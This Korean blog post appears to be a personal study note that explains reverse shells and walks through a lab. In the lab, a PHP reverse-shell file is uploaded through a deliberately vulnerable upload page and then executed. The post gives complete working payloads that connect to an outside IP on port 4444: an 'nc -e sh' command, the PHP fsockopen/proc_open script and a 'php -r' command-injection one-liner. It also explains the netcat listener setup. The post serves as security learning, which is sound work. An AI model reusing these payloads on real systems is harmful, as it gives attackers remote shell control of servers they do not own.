본문 바로가기
개념 노트장

Reverse Shell 실습

by jwcs 2024. 7. 9.
728x90

Reverse Shell이란?

Reverse Shell은 피해자의 컴퓨터에서 공격자의 컴퓨터로 연결을 시도하여 공격자가 원격으로 피해자의 컴퓨터를 제어할 수 있게 하는 방법이다. Reverse Shell은 주로 방화벽 및 네트워크 주소 변환(NAT) 설정을 우회하기 위해 사용된다.

 

수행 예시

공격자 준비

공격자는 자신의 컴퓨터에서 특정 포트를 열고 대기한다. 이는 공격자가 피해자의 컴퓨터에서 오는 연결을 받을 준비를 하는 단계이다.

nc -lvp 4444

 

피해자 페이로드 실행

공격자는 피해자 컴퓨터의 취약점을 이용하여 페이로드를 실행한다. 이 페이로드는 피해자 컴퓨터에서 공격자 컴퓨터로의 연결을 시도한다.

nc 43.203.247.232 4444 -e sh

여기서 `-e sh`는 연결이 수립되면 실행시킬 것을 나타낸다. sh을 실행시켜 공격자에게 쉘을 사용할 수 있게 하는 것을 알 수 있다.

연결 수립

피해자 컴퓨터가 공격자 컴퓨터고 성공적으로 연결되면, 피해자의 쉘이 공격자에게 전달된다. 이제 공격자는 피해자 컴퓨터에서 명령을 실행할 수 있는 쉘을 가지게 된다.

 

Reverse Shell의 주요 특징

Reverse Shell은 피해자 컴퓨터에서 외부로 연결을 시도하기 때문에, 방화벽의 인바운드 필터링을 우회할 수 있다. 대부분의 방화벽은 외부에서 내부로의 연결을 차단하지만, 내부에서 외부로의 연결은 허용하는 경우가 많다.

 

실습

파일 업로드 취약점이 있는 환경에서 reverse shell을 실행시켜 보도록 하겠다.

/

업로드 페이지를 gpt로 위와 같이 구성했다.

 

<?php
$sock=fsockopen("43.203.247.232",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

위와 같은 코드의 php 코드를 업로드 하겠다.

  • `fsockopen`: 함수는 PHP에서 원격 호스트에 TCP/IP 연결을 생성하는 데 사용된다
  • `"43.203.247.232"`: 연결할 원격 서버의 IP 주소이다
  • `4444`: 연결할 원격 서버의 포트 번호이다
  • `$sock`: `fsockopen` 함수의 반환 값을 저장한다. 연결이 성공하면 이 변수는 원격 서버와의 연결을 나타내는 소켓 리소스를 가리킨다
  • `proc_open`: 함수는 새 프로세스를 실행하는 데 사용된다
  • `"sh"`: 실행할 명령어 또는 프로그램이다. 여기서는 셸인 `sh`를 실행한다
  • `array(0=>$sock, 1=>$sock, 2=>$sock)`: 표준 입력, 표준 출력, 표준 오류 스트림을 설정하는 배열이다.
    • `0=>$sock`: 표준 입력(`STDIN`)을 소켓 리소스로 설정한다
    • `1=>$sock`: 표준 출력(`STDOUT`)을 소켓 리소스로 설정한다
    • `2=>$sock`: 표준 오류(`STDERR`)를 소켓 리소스로 설정한다
  • `$pipes`: 프로세스의 파이프를 나타내는 배열로, 현재 코드에서는 사용되지 않는다.

이 함수는 `sh`셸을 실행하고, 셸의 입출력 스트림을 모두 소켓으로 리디렉션 한다.

`$sock`은 이전 단계에서 원격 서버와의 연결을 나타내는 소켓 리소스이므로, 결과적으로 셸의 입력과 출력이 원격 서버로 전달된다.

`$proc`은 `proc_open` 함수의 반환값을 저장한다. 이 값은 새로 생성된 프로세스를 나타내는 리소스이다.

 

https://www.revshells.com/

 

Online - Reverse Shell Generator

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

www.revshells.com

코드는 위 사이트에서 구성했다.

 

/

위와 같이 업로드가 성공적으로 된 것을 볼 수 있다. 이제 공격자 리스닝 설정을 해보자.

 

공격자 서버

  • `nc`: netcat 명령어
  • `-l`: 리스닝 모드로 설정. 들어오는 연결을 기다림
  • `-v`: verbose(자세히) 모드로 설정. 실행 중인 작업에 대해 자세한 정보를 출력
  • `-p 4444`: 포트 번호 4444를 사용

이제 웹서버에서 업로드한 파일로 접속하여 리버스쉘 코드를 실행시키자.

웹서버
공격자 서버

여기서 j.png는 개인적으로 테스트할 때 올린 파일이다. 

성공적으로 리버스 쉘이 수행되는 것을 볼 수 있다.

 

Command Injection이 가능하다면 아래와 같은 코드로도 가능하다.

php -r '$sock=fsockopen("43.203.247.232",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
  • `php`: php 인터프리터를 호출한다
  • `-r`: 명령줄에서 직접 PHP 코드를 실행할 수 있는 옵션이다. 인라인 스크립트를 실행할 때 사용한다.

지금까지 리버스 쉘에 대해서 알아봤다.

 

728x90
반응형